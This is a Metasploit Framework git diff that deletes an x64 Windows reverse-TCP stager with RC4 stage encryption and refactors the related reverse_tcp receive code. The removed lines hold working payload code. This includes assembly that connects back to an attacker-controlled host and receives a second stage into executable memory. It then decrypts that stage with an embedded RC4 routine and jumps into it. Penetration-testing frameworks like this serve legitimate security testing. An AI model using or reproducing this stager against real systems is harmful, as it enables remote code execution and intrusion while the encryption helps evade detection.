diff --git a/lib/msf/core/payload/windows/x64/rc4.rb b/lib/msf/core/payload/windows/x64/rc4.rb deleted file mode 100644 index a77627e4a7..0000000000 --- a/lib/msf/core/payload/windows/x64/rc4.rb +++ /dev/null @@ -1,97 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core' - -module Msf - -### -# -# RC4 decryption stub for Windows ARCH_X64 payloads -# -### -module Payload::Windows::Rc4_x64 - # - # Register rc4 specific options - # - def initialize(*args) - super - register_options([ OptString.new('RC4PASSWORD', [true, 'Password to derive RC4 key from', 'msf']) ], self.class) - end - - # - # Generate assembly code that decrypts RC4 shellcode in-place - # - - def asm_decrypt_rc4 - %! - ;-----------------------------------------------------------------------------; - ; Author: max3raza - ; Version: 1.0 (12 January 2018) - ;-----------------------------------------------------------------------------; - ; Input: R9 - Data to decode - ; RCX - Data length - ; RSI - Key (16 bytes for simplicity and smaller code) - ; RDI - pointer to 0x100 bytes scratch space for S-box - ; Direction flag has to be cleared - ; Output: None. Data is decoded in place. - ; Clobbers: RAX, RBX, RCX, RDX, R8, R9, RDI (stack is not used) - ; Initialize S-box - xor rax, rax ; Start with 0 - mov r8, rdi ; Save pointer to S-box - init: - stosb ; Store next S-Box byte S[i] = i - inc al ; increase byte to write (RDI is increased automatically) - jnz init ; loop until we wrap around - ; permute S-box according to key - xor rbx, rbx ; Clear RBX (RAX is already cleared) - permute: - add bl, [r8+rax] ; BL += S[AL] + KEY[AL % 16] - mov rdx, rax - and dl, 0xF - add bl, [rsi+rdx] - mov dl, [r8+rax] ; swap S[AL] and S[BL] - xchg dl, [r8+rbx] - mov [r8+rax], dl - inc al ; AL += 1 until we wrap around - jnz permute - ; decryption loop - xor rbx, rbx ; Clear RBX (RAX is already cleared) - decrypt: - inc al ; AL += 1 - add bl, [r8+rax] ; BL += S[AL] - mov dl, [r8+rax] ; swap S[AL] and S[BL] - xchg dl, [r8+rbx] - mov [r8+rax], dl - add dl, [r8+rbx] ; DL = S[AL]+S[BL] - mov dl, [r8+rdx] ; DL = S[DL] - xor [r9], dl ; [R9] ^= DL - inc r9 ; advance data pointer - dec rcx ; reduce counter - jnz decrypt ; until finished - ! - end - - def generate_stage(opts = {}) - p = super(opts) - xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD']) - c1 = OpenSSL::Cipher.new('RC4') - c1.decrypt - c1.key = rc4key - p = c1.update(p) - [ p.length ^ xorkey.unpack('V')[0] ].pack('V') + p - end - - def handle_intermediate_stage(_conn, _payload) - false - end - - private - - def rc4_keys(rc4pass = '') - m = OpenSSL::Digest.new('sha1') - m.reset - key = m.digest(rc4pass) - [key[0, 4], key[4, 16]] - end -end -end diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp.rb b/lib/msf/core/payload/windows/x64/reverse_tcp.rb index 249918e72d..3684be93af 100644 --- a/lib/msf/core/payload/windows/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_tcp.rb @@ -69,7 +69,6 @@ module Payload::Windows::ReverseTcp_x64 start: pop rbp ; block API pointer #{asm_reverse_tcp(opts)} - #{asm_block_recv(opts)} ^ Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string end @@ -106,6 +105,7 @@ module Payload::Windows::ReverseTcp_x64 # def asm_reverse_tcp(opts={}) + reliable = opts[:reliable] retry_count = [opts[:retry_count].to_i, 1].max encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first encoded_host = Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first @@ -191,15 +191,7 @@ module Payload::Windows::ReverseTcp_x64 ^ asm << asm_send_uuid if include_send_uuid - asm - - end - - def asm_block_recv(opts={}) - - reliable = opts[:reliable] - - asm = %Q^ + asm << %Q^ recv: ; Receive the size of the incoming second stage... sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb b/lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb deleted file mode 100644 index 144fb0b2f7..0000000000 --- a/lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb +++ /dev/null @@ -1,189 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core' -require 'msf/core/payload/windows/x64/reverse_tcp' -require 'msf/core/payload/windows/x64/rc4' - -module Msf - -### -# -# Complex reverse_tcp payload generation for Windows ARCH_X64 -# -### - -module Payload::Windows::ReverseTcpRc4_x64 - - include Msf::Payload::Windows::ReverseTcp_x64 - include Msf::Payload::Windows::Rc4_x64 - - # - # Generate the first stage - # - def generate - xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD']) - conf = { - port: datastore['LPORT'], - host: datastore['LHOST'], - retry_count: datastore['ReverseConnectRetries'], - xorkey: xorkey, - rc4key: rc4key, - reliable: false - } - - # Generate the advanced stager if we have space - if self.available_space && required_space <= self.available_space - conf[:exitfunk] = datastore['EXITFUNC'] - conf[:reliable] = true - end - - generate_reverse_tcp_rc4(conf) - end - - # - # By default, we don't want to send the UUID, but we'll send - # for certain payloads if requested. - # - def include_send_uuid - false - end - - # - # Generate and compile the stager - # - def generate_reverse_tcp_rc4(opts={}) - combined_asm = %Q^ - cld ; Clear the direction flag. - and rsp, ~0xF ; Ensure RSP is 16 byte aligned - call start ; Call start, this pushes the address of 'api_call' onto the stack. - #{asm_block_api} - start: - pop rbp ; block API pointer - #{asm_reverse_tcp(opts)} - #{asm_block_recv_rc4(opts)} - ^ - Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string - end - - def asm_block_recv_rc4(opts={}) - xorkey = Rex::Text.to_dword(opts[:xorkey]).chomp - reliable = opts[:reliable] - asm = %Q^ - recv: - ; Receive the size of the incoming second stage... - sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the - ; second stage length - mov rdx, rsp ; set pointer to this buffer - xor r9, r9 ; flags - push 4 ; - pop r8 ; length = sizeof( DWORD ); - mov rcx, rdi ; the saved socket - mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} - call rbp ; recv( s, &dwLength, 4, 0 ); - ^ - - if reliable - asm << %Q^ - ; reliability: check to see if the recv worked, and reconnect - ; if it fails - cmp eax, 0 - jle cleanup_socket - ^ - end - - asm << %Q^ - add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next - - ; Alloc a RWX buffer for the second stage - pop rsi ; pop off the second stage length - mov esi, esi ; only use the lower-order 32 bits for the size - xor esi, #{xorkey} ; XOR the stage length - lea r11, [rsi+0x100] ; R11 = stage length + S-box length (alloc length) - push 0x40 ; - pop r9 ; PAGE_EXECUTE_READWRITE - push 0x1000 ; - pop r8 ; MEM_COMMIT - mov rdx, rsi ; the newly recieved second stage length. - xor rcx,rcx ; NULL as we dont care where the allocation is. - mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} - call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - ; Receive the second stage and execute it... - ; mov rbx, rax ; rbx = our new memory address for the new stage - lea rbx, [rax+0x100] - ; mov r15, rax ; save the address so we can jump into it later - mov r15, rbx - push rbx ; save stage address - push rsi ; push stage length - push rax ; push the address of the S-box - - read_more: ; - xor r9, r9 ; flags - mov r8, rsi ; length - mov rdx, rbx ; the current address into our second stages RWX buffer - mov rcx, rdi ; the saved socket - mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} - call rbp ; recv( s, buffer, length, 0 ); - add rsp, 32 ; restore stack after api_call - ^ - - if reliable - asm << %Q^ - ; reliability: check to see if the recv worked, and reconnect - ; if it fails - cmp eax, 0 - jge read_successful - - ; something failed so free up memory - pop rax - push r15 - pop rcx ; lpAddress - push 0x4000 ; MEM_COMMIT - pop r8 ; dwFreeType - push 0 ; 0 - pop rdx ; dwSize - mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} - call rbp ; VirtualFree(payload, 0, MEM_COMMIT) - - cleanup_socket: - ; clean up the socket - push rdi ; socket handle - pop rcx ; s (closesocket parameter) - mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} - call rbp - - ; and try again - dec r14 ; decrement the retry count - jmp create_socket - ^ - end - - asm << %Q^ - read_successful: - add rbx, rax ; buffer += bytes_received - sub rsi, rax ; length -= bytes_received - ; test rsi, rsi ; test length - jnz read_more ; continue if we have more to read - mov r14, rdi ; save socket handle - pop rdi ; address of S-box - pop rcx ; stage length - pop r9 ; address of stage - push r14 ; save socket - call after_key ; Call after_key, this pushes the address of the key onto the stack. - db #{raw_to_db(opts[:rc4key])} - after_key: - pop rsi ; rsi = RC4 key - #{asm_decrypt_rc4} - pop rdi ; restrore socket handle - jmp r15 ; return into the second stage - ^ - - if opts[:exitfunk] - asm << asm_exitfunk(opts) - end - - asm - end - -end - -end diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb b/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb deleted file mode 100644 index 3c561e3cba..0000000000 --- a/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb +++ /dev/null @@ -1,35 +0,0 @@ -# -*- coding: binary -*- -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core/handler/reverse_tcp' -require 'msf/core/payload/windows/x64/reverse_tcp_rc4' - - -module MetasploitModule - - CachedSize = 398 - - include Msf::Payload::Stager - include Msf::Payload::Windows::ReverseTcpRc4_x64 - - def self.handler_type_alias - "reverse_tcp_rc4" - end - - def initialize(info = {}) - super(merge_info(info, - 'Name' => 'Reverse TCP Stager (RC4 Stage Encryption, Metasm)', - 'Description' => 'Connect back to the attacker', - 'Author' => ['hdm', 'skape', 'sf', 'mihi', 'max3raza', 'RageLtMan'], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X64, - 'Handler' => Msf::Handler::ReverseTcp, - 'Convention' => 'sockrdi', - 'Stager' => { 'RequiresMidstager' => false } - )) - end -end